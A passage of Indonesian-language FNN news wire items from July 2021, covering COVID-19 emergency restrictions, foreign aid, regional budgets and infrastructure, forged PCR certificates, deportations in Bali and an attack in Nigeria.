Jenderal Luis Fernando Navarro mengatakan kepada wartawan pada Jumat. Jorge Luis Vargas, direktur polisi nasional Kolombia, mengatakan penyelidikan awal menunjukkan bahwa 11 tersangka Kolombia telah melakukan perjalanan ke Haiti melalui kota resor Punta Cana di Republik Dominika, yang berbagi pulau Hispaniola dengan Haiti. Dua lainnya melakukan perjalanan melalui udara ke Panama, sebelum terbang ke ibu kota Dominika, Santo Domingo dan kemudian Port-au-Prince, kata Vargas. (mth)

Indonesia Terima Bantuan 1.000 Ventilator dari Australia

Jakarta, FNN - Pemerintah Indonesia menerima bantuan sebanyak 1.000 alat bantu pernapasan (ventilator) yang diberikan oleh Australia. Dukungan kerja sama pemerintah Australia berupa 1.000 ventilator telah tiba jelang tengah malam pada Jumat, 9 Juli 2021, di Indonesia, demikian disampaikan dalam keterangan tertulis Kementerian Luar Negeri RI yang diterima di Jakarta, Sabtu. Menurut pihak Kemenlu RI, dukungan dalam bentuk bantuan ventilator itu adalah wujud kerja sama dan kolaborasi yang baik antara Indonesia dan Australia sebagai negara sahabat dan mitra strategis komprehensif. Selain ventilator, Australia juga akan mengirimkan 2,5 juta dosis vaksin COVID-19, konsentrator oksigen, tabung oksigen, alat tes antigen, dan alat-alat kesehatan lainnya secara bertahap. Selain Australia, beberapa negara sahabat lainnya juga telah menawarkan dukungan kepada Indonesia dalam menangani lonjakan kasus COVID-19, yaitu Singapura, Amerika Serikat, Belanda, Jepang, Inggris, Uni Emirat Arab (UAE), India, China dan entitas internasional lainnya. Sebelumnya, sebagian dukungan kerja sama untuk penanganan pandemi dari Singapura juga telah tiba berupa ventilator, tabung oksigen, dan alat-alat kesehatan Lainnya. Selain itu, telah tiba pula sebagian konsentrator oksigen hasil pembelian dari Singapura. Kerja sama dan kolaborasi adalah kunci dalam menghadapi perkembangan kenaikan kasus infeksi dan kematian akibat COVID-19 yang terjadi di berbagai kawasan dunia akibat varian baru virus corona. (mth) Secara keseluruhan ruas Tol Pekanbaru-Padang akan ditargetkan beroperasi pada tahun 2025. (mth)

Kementerian PUPR Terus Bangun Infrastruktur Dukung Perekonomian Sumbar

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) terus membangun sejumlah infrastruktur di Sumatera Barat (Sumbar) untuk meningkatkan pertumbuhan ekonomi dan konektivitas. "Kementerian PUPR terus melanjutkan pembangunan infrastruktur yang andal di seluruh Indonesia salah satunya di Provinsi Sumatera Barat. Pembangunan infrastruktur dilakukan untuk meningkatkan pertumbuhan ekonomi dan konektivitas baik usaha mikro, kecil, dan menengah (UMKM) maupun sektor pariwisata," sebut siaran pers Kementerian PUPR yang diterima di Jakarta, Sabtu. Beberapa infrastruktur yang dibangun di Provinsi Sumatera Barat yaitu, revitalisasi Kawasan Nagari Seribu Rumah Gadang (SRG) di Kabupaten Solok Selatan, pembangunan Pasar Rakyat Pariaman di Kota Pariaman, dan pembangunan Jalan Tol Padang-Sicincin. Revitalisasi SRG, yang dilakukan Balai Prasarana Permukiman Wilayah (BPPW) Sumatera Barat Direktorat Jenderal Cipta Karya itu merupakan tindak lanjut atas pencanangan Presiden Joko Widodo (Jokowi) saat peringatan Hari Pers Nasional (HPN) di Kota Padang pada Februari 2018 lalu. Revitalisasi kawasan rumah adat khas Minangkabau tersebut meliputi pemugaran 32 rumah gadang, penataan lansekap kawasan, pembangunan menara songket sebagai landmark serta pembangunan fasilitas-fasilitas untuk wisatawan. Revitalisasi SRG dikerjakan 475 orang dan 5 tukang tuo dengan biaya APBN 2019-2020 sebesar Rp67 miliar. Lokasi SRG berjarak 147 km dari Bandara Internasional Minangkabau dengan waktu tempuh 3,5-4 jam menggunakan transportasi darat. Selain dapat menambah daya tarik bagi para wisatawan domestik maupun mancanegara, kawasan SRG diharapkan juga mampu meningkatkan perekonomian masyarakat Solok Selatan dan sekitarnya. Kementerian PUPR juga telah menyelesaikan revitalisasi Pasar Pariaman sehingga menjadi sarana perdagangan rakyat yang aman, nyaman, bersih, tertata, dan lebih estetis (tidak kumuh) di Kota Pariaman. Pembangunan pasar yang dilakukan Balai Prasarana Permukiman Wilayah (BPPW) Sumatera Barat itu dimulai pada Desember 2019 dengan anggaran senilai Rp89,7 miliar dan manajemen konstruksi (MK) senilai Rp2,8 miliar. Pasar Pariaman, yang dibangun di atas lahan seluas 5.431 meter persegi, dapat menampung 562 pedagang terdiri atas 362 kios dan los yang mampu menampung 200 pedagang. Keberadaan pasar juga menjadi layanan wisata karena lokasinya berada di pusat kegiatan kota dan dekat dengan Pantai Gandoriah. Sementara, Balai Pelaksanaan Jalan Nasional III Sumatera Barat Ditjen Bina Marga juga tengah melaksanakan pembangunan Jalan Tol Sirip Pekanbaru-Padang Seksi Padang-Sicincin sepanjang 36,6 km yang merupakan bagian dari Jalan Tol Trans-Sumatera. Pembangunan tol ini akan meningkatkan konektivitas antara Provinsi Sumatera Barat dengan Riau. Pembangunan Tol Padang-Sicincin dimulai pada Februari 2018 dan ditargetkan selesai serta beroperasi pada Desember 2022. Saat ini progres fisik Tol Padang-Sicincin telah mencapai 40,81 persen. Jalan Tol Padang-Pekanbaru membentang sepanjang 256 km dan terbagi menjadi enam seksi, yaitu Seksi I Padang-Sicincin, Seksi II Sicincin-Bukittinggi, Seksi III Bukittinggi-Payakumbuh, Seksi IV Payakumbuh-Pangkalan, Seksi V Pangkalan-Bangkinang, dan Seksi VI Bangkinang-Pekanbaru. (mth)

Moeldoko Ajak Masyarakat Satukan Daya dan Kekuatan Hadapi COVID-19

Jakarta, FNN - Kepala Staf Kepresidenan Moeldoko mengajak masyarakat untuk menyatukan daya dan kekuatan untuk mencari solusi menghadapi pandemi COVID-19. Dalam siaran pers yang diterima di Jakarta, Sabtu, Moeldoko meminta masyarakat tidak pesimistis dan meragukan kemampuan Indonesia untuk keluar dari krisis COVID-19. “Dalam hal apapun pesimisme tidak akan pernah membuat masalah terselesaikan. Pesimisme membuat otak kreatif kita buntu, energi kita habis tersedot,” kata Moeldoko dalam siaran pers tersebut. Moeldoko pun meminta agar semua pihak mulai melepaskan perbedaan dan kepentingan, untuk merefleksikan hal-hal yang bisa dikontribusikan kepada kemajuan bangsa ini. “Pemerintah tidak anti-kritik, namun untuk saat ini marilah sertai kritikan dengan solusi. Bantu kami berpikir dan bantu kami menyelamatkan masyarakat. Mari kita sama-sama bergerak untuk pemulihan bersama,” imbaunya. Demi menekan laju penularan virus COVID-19 di tengah masyarakat, Presiden Joko Widodo pada hari Kamis (1/7) mengumumkan kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di 122 kabupaten dan kota di Jawa dan Bali sejak 3 Juli hingga 20 Juli. Selama pemberlakuan PPKM Darurat aktivitas masyarakat di sektor pekerjaan, pendidikan, transportasi, wisata, dan lainnya dibatasi. Pemerintah juga akan memberlakukan sanksi kepada pelanggar peraturan PPKM Darurat sesuai bunyi UU Wabah Penyakit Menular dan UU Kekarantinaan Kesehatan. “PPKM darurat merupakan salah satu skenario pemerintah untuk menekan penyebaran. Mobilitas orang tanpa gejala atau OTG dapat dikendalikan, karena mereka yang berstatus OTG inilah yang berbahaya dalam penyebaran virus,” kata Moeldoko. Menurut dia, pemerintah telah mengupayakan penanganan pandemi dari segala lini baik dari segi realokasi anggaran, penyediaan tambahan tempat tidur bagi pasien, pengadaan oksigen, upaya percepatan vaksin, hingga tindakan tegas yang diberikan pada para pelanggar PPKM Darurat serta para penimbun obat-obatan dan oksigen. Moeldoko mengakui bahwa pengimplementasian PPKM bukan tanpa tantangan. Berdasarkan pantauan dari pemerintah, tingkat mobilitas masyarakat di masa PPKM Darurat baru berkurang 30 persen. Sedangkan PPKM Darurat baru akan dianggap berhasil jika mampu menekan mobilitas di angka 50 persen. “Oleh sebab itu pemerintah tetap akan memperketat PPKM Darurat sampai tanggal 20 Juli,” tegas Moeldoko. Moeldoko menekankan ketaatan seluruh warga menjadi kunci pemulihan dari pandemi. Dia mengajak masyarakat untuk mentaati betul PPKM Darurat. Ia mengatakan bahwa kebijakan pemerintah untuk menarik rem darurat ini akan berdampak pada roda perekonomian masyarakat, namun hal tersebut adalah pilihan sulit yang harus diambil demi keselamatan masyarakat dan pemulihan bersama. “Indonesia pulih karena saya, Indonesia pulih karena kamu, dan Indonesia pulih karena kita,” kata Moeldoko. (mth)

Asosiasi: Regulasi Industri Tembakau Olahan Agar Berbasis Penelitian

Jakarta, FNN - Pemerintah diminta mulai melakukan kajian ilmiah terhadap produk hasil pengolahan tembakau lainnya (HPTL), seperti rokok elektrik dan snus, yang dipercaya dapat berkontribusi dalam menurunkan angka perokok di Indonesia. "Regulasi berbasis penelitian diperlukan untuk menentukan kebijakan bagi produk HPTL agar semua pihak mengedepankan argumen ilmiah, bukan sekedar opini," kata Ketua Asosiasi Konsumen Vape Indonesia (Akvindo) Paido Siahaan dalam keterangannya di Jakarta, Sabtu. Menurut Paido, kajian ilmiah terhadap HPTL untuk mengatasi masalah rokok sekaligus menekan prevalensi jumlah perokok di Indonesia. Ia menjelaskan lantaran belum adanya riset tersebut banyak opini simpang siur yang berkembang di masyarakat bahwa produk HPTL lebih berbahaya dibandingkan rokok. "Dengan adanya riset, publik diharapkan mendapatkan informasi yang komprehensif. Karena sudah masuk ranah sains, kami mendorong para peneliti untuk menganalisis dan menyajikan hasil analisis mereka terhadap isu ini," ujarnya. Untuk itu, tambah Paido, asosiasi tetap menyerahkan sepenuhnya soal usulan pentingnya kajian ilmiah yang dimaksud, karena pihaknya hanya ingin memberikan kesempatan kepada pemerintah untuk mengurangi dampak pemakaian tembakau yang dibakar bagi sekitar 60 juta perokok di Indonesia. "Dengan adanya regulasi yang berbasis riset, perokok dewasa diharapkan semakin lebih mudah mengakses produk HPTL. Akses konsumen sudah jauh lebih mudah untuk mendapatkan produk alternatif ini. Jangan sampai regulasi ke depan mengakibatkan harga dan akses yang semakin memberatkan konsumen," ucapnya. Sementara itu, Direktur Kajian dan Riset Pusat Studi Konstitusi dan Legislasi Nasional (Poskolegnas) Fakultas Syariah dan Hukum UIN Syarif Hidayatullah Jakarta Fathudin Kalimas mengatakan regulasi berbasis kajian ilmiah bisa dilakukan berlandaskan riset sehingga diharapkan lebih proporsional sesuai dengan profil risiko dari produk HPTL. "Sudah banyak kajian ilmiah yang menemukan bahwa produk HPTL memiliki profil risiko yang lebih rendah dari rokok. Jika demikian, maka regulasi ini cukup penting, khususnya sebagai salah satu strategi untuk menurunkan prevalensi perokok yang menjadi tantangan pemerintah," ucap Fathudin. Regulasi tersebut nantinya diharapkan mengatur tentang akses dan informasi yang terbuka bagi perokok dewasa terhadap produk HPTL. Kemudian ketentuan tentang pembatasan usia pengguna. Anak-anak di bawah usia 18 tahun dan nonperokok dilarang untuk menggunakan produk ini. "Lalu, peringatan kesehatan yang tentu harus disesuaikan dengan profil risiko yang dimiliki produk HPTL," ujar Fathudin. (mth)

Kelompok Militan Tewaskan Sedikitnya 45 Orang di Faru, Nigeria

Maiduguri, Nigeria, FNN - Kelompok militan menewaskan sedikitnya 45 orang dalam serangan di kota Faru di barat laut Nigeria, kata penduduk setempat dan seorang pekerja rumah sakit, Jumat. Kekerasan semacam itu semakin menjadi bagian dari kehidupan sehari-hari di kawasan itu, dimana pemerintah Nigeria dan pasukan keamanan menunjukkan sedikit kemampuan untuk membendung kerusakan hukum dan ketertiban. "Para bandit bersenjata menyerbu kota Faru dengan lebih dari 100 sepeda motor, menembaki orang-orang secara sporadis sekitar pukul dua belas siang kemarin," kata Abubakar Iliyasu, seorang warga yang menyaksikan serangan itu. Penduduk lain, Musa Dan Auta, juga mengatakan orang-orang bersenjata itu membunuh 45 orang. Sementara seorang pekerja rumah sakit setempat yang menolak disebutkan namanya karena takut akan pembalasan mengatakan mayat-mayat dibawa masuk. "Kemarin malam, pasukan keamanan dan milisi lokal membawa 29 mayat dan 11 orang luka-luka ke rumah sakit," kata pekerja itu. Penggerebekan, pembunuhan, dan penculikan massal untuk mendapatkan uang tebusan, terutama terhadap anak-anak sekolah, telah menjadi hal biasa di Nigeria barat laut. Kekerasan yang merajalela telah memicu kekhawatiran bahwa kawasan itu adalah lahan kosong bagi kelompok-kelompok ekstremis untuk masuk dan memanfaatkan ketiadaan pemerintahan untuk memicu pemberontakan. Nigeria sudah berperang selama 12 tahun dengan kelompok ekstremis Boko Haram dan cabang ISIS di Afrika Barat, perang yang menunjukkan sedikit tanda akan berakhir. (mth)

Realisasi APBD Gorontalo Utara Semester I Capai 43,31 Persen

Gorontalo, FNN - Realisasi Anggaran Pendapatan Belanja Daerah (APBD) Gorontalo Utara, Provinsi Gorontalo, pada semester I Tahun Anggaran 2021 mencapai 43,31 persen. Kepala Badan Keuangan Kabupaten Gorontalo Utara, Husin Halidi, di Gorontalo, Jumat, mengatakan APBD setempat yang Rp746,7 miliar tersebut telah terealisasi penyerapannya Rp323,4 miliar atau 43,31 persen. Serapan tersebut, kata dia, akan terus digenjot agar pada Oktober 2021 terealisasi minimal hingga 85 persen. "Lebih tinggi lagi serapannya, tentu akan lebih baik agar mampu tuntas optimal sebelum 15 Desember," katanya. Untuk Pendapatan Asli Daerah (PAD), katanya, mencapai Rp32,2 miliar dengan realisasi 32,53 persen atau Rp10,4 miliar, terdiri atas pendapatan dari pajak daerah sebesar Rp9,2 miliar dengan realisasi Rp2,1 miliar atau 22,37 persen, retribusi daerah ditargetkan Rp6,1 miliar realisasi sementara mencapai Rp2,8 miliar atau 66,79 persen. Selain itu, hasil pengelolaan kekayaan daerah yang dipisahkan Rp3,2 miliar dengan realisasi mencapai 85,32 persen, sedangkan lain-lain PAD yang sah Rp13,6 miliar dengan realisasi Rp2,7 miliar atau 20,44 persen. Selain itu, pendapatan transfer Rp696,7 miliar realisasi 44,91 persen atau Rp312,9 persen. Hingga saat ini, lanjut Husin, realisasi belanja daerah mencapai Rp274,06 miliar atau 34,92 persen dari total belanja Rp784,7 miliar, diantaranya terdapat belanja pegawai sebesar Rp256 miliar dengan realisasi Rp123,2 miliar atau 48,15 persen, belanja modal Rp159,3 miliar dengan realisasi Rp22,3 miliar atau 14,03 persen. Kendala yang dihadapi dalam proses realisasi anggaran, katanya, pandemi COVID-19. "Namun semangat seluruh organisasi perangkat daerah (OPD) terus didorong dalam upaya percepatan realisasi anggaran tahun ini," katanya. (mth)

DPRD Dorong Pemkab Gorontalo Utara Buka Investasi Perikanan Tangkap

Gorontalo, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Gorontalo Utara, Provinsi Gorontalo, mendorong pemerintah kabupaten itu untuk membuka akses investasi perikanan tangkap seluas-luasnya. Wakil Ketua I DPRD Kabupaten Gorontalo Utara, Roni Imran, di Gorontalo, Jumat, mengatakan potensi perikanan tangkap di daerah itu mencapai 64 ribu ton per bulan sehingga pemkab perlu berinovasi memanfaatkan potensi tersebut. "Peluang investasi di sektor ini diharapkan tetap terbuka meski pandemi COVID-19 belum usai. Mengingat sektor perikanan tangkap merupakan salah satu potensi sumber penerimaan paling besar di daerah ini," katanya. Ia menyebut optimisme harus terus dibangun mengingat aktivitas perikanan tangkap menjadi salah satu sektor yang tetap tumbuh di tengah pandemi COVID-19. "Jika pemkab mengalami hambatan dari sisi anggaran khususnya dalam meningkatkan infrastruktur, tentu peluang investasi perlu dibuka seluas-luasnya," katanya. Ia berharap, seiring program penyaluran bantuan bagi nelayan di daerah itu, program investasi pun dapat masuk ke daerah itu agar berdampak pada peningkatan produksi serta produktivitas nelayan, serta meningkatkan kesejahteraan. "Kita memiliki sumber daya nelayan mencapai 4.500 orang tersebar di 78 desa pesisir di 11 kecamatan. Ini akan menjadi pendorong dalam menarik minat investasi sektor tersebut di daerah ini, d​​​i samping keberadaan Pelabuhan Perikanan di Kecamatan Kwandang dan Gentuma," katanya. (sws)

Pemkab HSS Serahkan Bantuan Program Rumah Sejahtera bagi 352 Warga

Kandangan, FNN - Pemerintah Kabupaten Hulu Sungai Selatan (HSS), Kalimantan Selatan kembali menyerahkan bantuan program rumah sejahtera bagi 352 warga untuk mewujudkan rumah layak huni bagi warga kurang mampu di daerah tersebut. Bupati HSS Akhamd Fikri di Kandangan Jumat mengatakan, selain memberikan bantuan pembangunan rumah sejahtera pihaknya juga meluncurkan program usaha ekonomi produktif (UEP) untuk penerima manfaat di Kecamatan Padah Batung dan Loksado. Menurut bupati, inti dari program ini adalah agar masyarakat bisa menempati rumah layak huni dan bisa lebih nyaman di rumah. Begitu juga dengan bantuan usaha ekonomi produktif diharapkan bisa menjadi modal usaha untuk meningkatkan usahanya. Menurut dia, di tengah pandemi COVID-19, pihaknya bersyukur anggaran ini masih bisa dipertahankan berkat dukungan DPRD juga anggaran tidak direfocusing, karena ini menyangkut kepentingan masyarakat. Diharapkan agar seluruh masyarakat di Kabupaten HSS secara bertahap memiliki rumah layak huni. "Saya minta, warga penerima bantuan segera memanfaatkan uangnya untuk merenovasi rumah, setelah mereka menerima bantuan sosial tersebut, supaya dana yang tersalurkan tetap pada tujuannya," katanya, Kepala Dinas Sosial HSS, Nordiansyah mengatakan, program rumah sejahtera bertujuan untuk mewujudkan rumah layak huni dan UEP dimaksudkan untuk memberikan modal usaha masyarakat. "PRS ini telah berjalan sejak tahun 2014 dan terus berlanjut hingga sekarang. Dana program tersebut berasal dari dana dari APBD murni," katanya. Masing-masing KPM program rumah sejahtera mendapatkan bantuan sebesar Rp13.908.000, per KPM dan usaha ekonomi produktif sebesar Rp2 juta hingga Rp3 juta per keluarga penerima manfaat. Total penerima bantuan rumah sejahtera tersebut, berdasarkan hasil verifikasi dari sebanyak 500 orang Keluarga Penerima Manfaat (KPM) yang diusulkan. Sedangkan, untuk penerima bantuan UEP ditetapkan sebanyak 106 orang KPM yang juga telah melalui verifikasi tahap akhir se Kabupaten HSS. KPM yang tidak lolos tahap verifikasi di antaranya karena dianggap telah mampu, telah menerima bantuan sejenis, ataupun karena meninggal dunia. Pada penyaluran bantuan kali ini, KPM yang berhak menerima PRS pada Kecamatan Padang Batung sebanyak 97 orang, dan UEP sebanyak 31 orang, untuk Kecamatan Loksado, penerima PRS sebanyak 26 orang KPM. "Dengan perwakilan masing-masing empat orang per kecamatan per setiap jenis bantuan sosial. Bantuan diserahkan langsung secara simbolis oleh Bupati HSS kepada KPM," katanya. Seluruh bantuan tersebut, akan disalurkan melalui Bank Kalsel Syariah Cabang Kandangan kepada masing-masing keluarga penerima manfaat. Penyaluran bantuan sosial ini akan dilaksanakan pada enam titik, di mana Kecamatan Padang Batung dan Kecamatan Loksado adalah titik pertama penyerahan bantuan. "Terimakasih kepada bapak bupati, wakil bupati, dan pihak DPRD HSS karena bagaimanapun juga anggaran ini harus dengan persetujuan bersama dari kedua belah pihak. Dalam kondisi pandemi COVID-19, bansos untuk masyarakat kita terus dapat disalurkan," katanya. (mth)

Polres Banjarbaru Proses Hukum 16 Penumpang Pesawat Palsukan PCR

Banjarbaru, FNN - Polres Banjarbaru melakukan proses hukum terhadap 16 calon penumpang pesawat di Bandara Internasional Syamsudin Noor Banjarmasin, Kalimantan Selatan yang kedapatan menunjukkan surat hasil tes polymerase chain reaction (PCR) COVID-19 palsu dan sertifikat vaksin yang juga dipalsukan. "Sekarang tim lagi melakukan penyelidikan untuk mendalami temuan ini," kata Kapolres Banjarbaru AKBP Doni Hadi Santoso, Jumat. Dia menegaskan, jika nantinya hasil penyelidikan memenuhi unsur pidana, maka statusnya ditingkatkan ke tahap penyidikan dan selanjutnya ada penetapan tersangka. "Semua pihak yang terkait termasuk petugas di bandara saat itu melakukan pemeriksaan dokumen kami mintai keterangannya. Begitu juga pihak rumah sakit atau klinik yang namanya dicatut untuk dokumen PCR," ujar Doni. Temuan surat PCR dan sertifikat vaksin palsu itu terjadi pada Rabu (7/7), di Bandara Internasional Syamsudin Noor Banjarmasin. Ada 16 calon penumpang pesawat kedapatan petugas menunjukkan dokumen palsu tersebut, sehingga batal diizinkan terbang. Kepala Kantor Kesehatan Pelabuhan (KKP) Banjarmasin Ruslan Fajar mengatakan ketika petugasnya memvalidasi dokumen perjalanan domestik, didapati surat hasil pemeriksaan PCR serta sertifikat vaksinasi calon penumpang pesawat palsu. "Petugas kami melakukan konfirmasi kepada rumah sakit dan puskesmas yang tertera di dokumen, didapati keterangan tidak pernah mengeluarkan surat tersebut," ujarnya. Diketahui dari 16 orang calon penumpang tersebut, 10 di antaranya tujuan Bandara Internasional Sam Ratulangi Manado dengan transit di Bandara Internasional Sultan Hasanuddin Makassar. Sedangkan sisanya tujuan Bandara Internasional Juanda Surabaya. (sws)

Kemenkumham Deportasi Tiga WNA Langgar Protokol Kesehatan

    Jakarta, FNN - Kementerian Hukm dan Hak Asasi Manusia (Kemenkumham) melalui kantor Imigrasi Kelas 1 Khusus Ngurah Rai memproses deportasi tiga warga negara asing (WNA), karena melanggar protokol kesehatan (prokes) di Bali.  \"Fokus kami menyasar WNA yang melanggar protokol kesehatan, kebanyakan ditemukan para WNA saat mengendarai sepeda motor,\" kata Kepala Bagian Humas dan Umum Direktorat Jenderal Imigrasi Arya Pradhana Anggakara melalui keterangan tertulis yang diterima di Jakarta, Jumat. Ketiga WNA yang diproses tersebut yakni MR (26) pria asal Irlandia, AA (22) perempuan asal Amerika Serikat, dan ZK (26) perempuan warga negara Rusia. Ketiga WNA tersebut diamankan petugas gabungan dalam operasi yustisi pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di wilayah Kecamatan Kuta Utara, Bali. Dalam operasi tersebut, petugas mendapati 14 WNA yang melanggar protokol kesehatan, misalnya tidak memakai masker saat berada di luar rumah. Para pelanggar langsung dikenakan tindakan baik teguran lisan, denda maupun diperiksa lebih lanjut oleh petugas. Di antara pelanggar tersebut terdapat tiga WNA yang direkomendasikan dideportasi, karena sama sekali tidak memakai masker, dan sisanya dikenakan denda sebesar Rp1 juta karena tidak memakai masker dengan benar. \"Terhadap tiga WNA tersebut hari ini Jumat telah kami periksa dan menunggu proses deportasi,\" kata Angga. Petugas Kantor Imigrasi Kelas I Khusus Ngurah Rai bisa menindak para WNA pelanggar protokol kesehatan, setelah dinyatakan bersalah oleh Satpol-PP Provinsi Bali. Dalam menjalankan operasi yustisi tersebut, petugas gabungan yang terdiri dari Kantor Wilayah Kemenkumham Bali, Satpol-PP Provinsi Bali, dan Kodim 1611/Badung berpencar mendatangi lokasi-lokasi yang menjadi potensi orang asing melakukan pelanggaran protokol kesehatan. (sws)

Fahri Hamzah: Indonesia Harus Susun Ide Pemberantasan Korupsi Sistemik

Jakarta, FNN - Wakil Ketua Umum Partai Gelora Indonesia Fahri Hamzah mengatakan ke depan Indonesia harus menyusun ide bersama mengenai pemberantasan korupsi yang lebih sistemik. "KPK selama ini tidak ada kontrol dan tidak sesuai dengan semangat awal pembentukannya. Karena itu, dikhawatirkan lembaga ini justru mengambil jalan pintas daripada negara hukum," kata dia melalui keterangan tertulis yang diterima di Jakarta, Jumat. Fahri berpegang kepada Prof Romli sebagai Ketua Tim Penyusun Undang-Undang KPK dan Prof Andi Hamzah sebagai Tim Ahli. Keduanya sangat senang adanya perubahan Undang-Undang KPK mengingat cara kerja lembaga antirasuah itu selama ini di luar harapan pakar penyusun UU KPK. "Birokrasinya tidak diperkuat, dibimbing dan ditata. Tapi justru sensasi geger-gegeran. Di situlah masalahnya. Demokrasi terancam," kata Fahri. Pendiri Setara Institute Hendardi mendorong ke depan dilakukan perbaikan sistemik menyangkut keuangan negara, dimana KPK menjadi bagian penyelamatan dengan pemberantasan korupsi. "Hal-hal yang terkait permainan politik atau respons-respons politik terkait polemik 51 pegawai KPK yang tidak lulus TWK harus diakhiri, karena tidak sehat buat publik," ujar dia. Seringkali ada manipulasi atau pernyataan tendensius dari kelompok 51 pegawai KPK yang tidak lulus tes wawasan kebangsaan yang menyebut tanpa mereka kasus-kasus besar tidak akan bisa dibongkar, kata dia. "Saya kira itu hanya kekonyolan saja. Karena kasus besar di manapun memang selalu terkait kekuasaan dan partai politik," ujarnya. Sementara itu, pengamat isu-isu strategis nasional Prof Imron Cotan mengatakan polemik tes wawasan kebangsaan di KPK adalah peristiwa hukum. Jika dianggap tidak memenuhi syarat, ia menyarankan untuk disalurkan atau dibawa ke jalur hukum sesuai ketentuan yang ada. Misalnya ke Ombudsman kalau merasa ada maladministrasi, kemudian juga bisa dibawa ke pengadilan bila ada unsur pidana atau ke pengadilan tata usaha negara (PTUN). Langkah itu akan lebih baik dari pada membawa masalah itu ke Persekutuan Gereja-Gereja di Indonesia (PGI), Majelis Ulama Indonesia (MUI) atau Komnas HAM. Dampaknya, masyarakat akan terpecah sehingga timbul kontroversi. Padahal, Indonesia sedang mengalami pandemi COVID-19 yang semakin parah. Sebagai satu kesatuan bangsa, Prof Imron meminta semua pihak bersatu padu menyelesaikan berbagai persoalan strategis dibanding hanya berkutat dengan persoalan 51 pegawai KPK yang tidak lulus tersebut. (sws)

Satgas COVID-19 Bogor Tindak Dua Pabrik Pelanggar PPKM Darurat

Cibinong, Bogor, FNN - Satgas Penanganan COVID-19 Kabupaten Bogor, Jawa Barat menindak dua pabrik di wilayahnya yang kedapatan melanggar aturan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. "Dua pabrik ini jelas telah melanggar ketentuan PPKM Darurat, karena 100 persen karyawan masuk. Pabrik juga seharusnya punya satgas dan menyediakan ruang isolasi mandiri," kata Ketua Harian Satgas Penanganan COVID-19 Kabupaten Bogor Burhanudin, di Cibinong, Bogor, Jumat, usai melakukan inspeksi ke pabrik-pabrik bersama unsur forum komunikasi pimpinan daerah (forkopimda). Ia menyebutkan, dua perusahaan yang masih mempekerjakan 100 persen pegawai di pabrik, yaitu PT Simone berlokasi di Gunungputri, dan PT Sunbo di Cileungsi. Pimpinan dua perusahaan tersebut akan menjalani sidang tindak pidana ringan (tipiring) pada Senin (12/7). Burhan mengaku terpaksa mengambil langkah tegas, mengingat wilayah Gunungputri dan Cileungsi merupakan penyumbang kasus COVID-19 terbanyak, per harinya bisa mencapai 25-30 kasus. Kapolres Bogor AKBP Harun mengatakan, penegakan hukum berupa tindak pidana ringan itu sesuai Peraturan Daerah Provinsi Jawa Barat Nomor 5 Tahun 2021. Perusahaan yang melanggar PPKM Darurat diancam denda maksimal Rp50 juta atau pidana kurungan paling lama tiga bulan. “Nanti akan kami lihat di semua wilayah, yang tidak mengikuti aturan PPKM Darurat ini akan kami tindak semuanya. Ini sebagai contoh saja, akan kami cek lagi ke beberapa tempat yang lainnya,” ujar AKBP Harun. Selama PPKM Darurat yang berlaku pada 3-20 Juli 2021, sektor nonesensial diberlakukan bekerja dari rumah atau work form home (WFH) 100 persen, sementara sektor esensial WFH 50 persen. (sws)

Tiga WNA Langgar Protokol Kesehatan di Bali Dideportasi

Denpasar, FNN - Tiga warga negara asing (WNA) yang ditemukan melanggar protokol kesehatan, terutama selama penerapan PPKM Darurat di wilayah Kabupaten Badung, Bali, akan dikenakan tindakan keimigrasian berupa deportasi. \"WNA yang melanggar prokes diduga melanggar UU No. 6 Tahun 2011 tentang Keimigrasian ada ditemukan tiga orang dan akan diperiksa lebih lanjut di Kantor Imigrasi, Bali,\" kata Kepala Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia Bali Jamaruli Manihuruk dalam siaran persnya di Denpasar, Jumat. Ia mengatakan terhadap ketiga warga asing tersebut, yaitu Murray Ross asal Irlandia, Ayala Aileen dari Amerika Serikat dan ZK berkebangsaan Rusia, diwajibkan hadir di Kantor Imigrasi Kelas I Khusus TPI Ngurah Rai untuk dilakukan pemeriksaan lebih lanjut. Dalam kegiatan operasi yustisi PPKM Darurat di wilayah Kecamatan Kuta Utara, Kabupaten Badung, Kamis (8/07), yang dilakukan oleh jajaran Kanwil Kemenkumham Bali, dan tim gabungan dari Satpol PP Provinsi Bali, Kodim 1611/Badung, Kantor Imigrasi Kelas I Khusus TPI Ngurah Rai, Camat Kuta Utara. Dari hasil operasi tersebut, terdapat 17 pelanggaran, dengan rincian tiga pelanggaran oleh warga negara Indonesia (WNI) dan 14 orang warga negara asing (WNA). Sanksi yang diterapkan bagi pelanggar yaitu berupa teguran lisan, pembayaran denda, maupun STP Paspor untuk dilakukan pemeriksaan lebih lanjut di Kantor Imigrasi. Sementara, untuk WNA yang melanggar prokes diduga melanggar UU No. 6 Tahun 2011 tentang Keimigrasian ada tiga orang yang masih dalam proses pemeriksaan oleh Imigrasi Ngurah Rai. \"Penegakan prokes dilakukan salah satunya terhadap warga asing, itu juga menjadi kewenangan dari Imigrasi dalam melakukan pendeportasian jika ada ditemukan melanggar,\" katanya. (sws)

Kemenkeu: Pembayaran Klaim Pasien COVID-19 Capai Rp10,6 Triliun

Jakarta, FNN - Kepala Badan Kebijakan Fiskal Kementerian Keuangan (Kemenkeu) Febrio Kacaribu menyebutkan realisasi pembayaran klaim pasien COVID-19 per 30 Juni 2021 telah dilakukan sebesar Rp10,6 triliun atau 100 persen dari pagu tahap pertama tahun ini. “Klaim untuk 2021 pasien COVID-19 penyelesaiannya diperbaiki sehingga lebih cepat,” katanya dalam diskusi daring di Jakarta, Jumat. Febrio menyatakan mekanisme klaim dan penyelesaian dispute diperbaiki melalui Kepmenkes Nomor HK.01.07/MENKES/4718/2021 tentang Petunjuk Teknis Klaim Penggantian Biaya Pelayanan Pasien COVID-19 bagi RS Penyelenggara Pelayanan COVID-19. Sementara itu ia menuturkan untuk klaim tahap kedua tahun ini dibutuhkan anggaran sebesar Rp11,97 triliun dan pemenuhan kebutuhan tambahan anggaran tersebut saat ini masih dalam proses. Kemudian untuk tunggakan klaim pasien tahun lalu telah dibayar sebesar Rp5,6 triliun pada tahun ini, sedangkan kebutuhan tunggakan 2020 tahap II Rp2,69 triliun akan difasilitasi Tim Penyelesaian Klaim Dispute 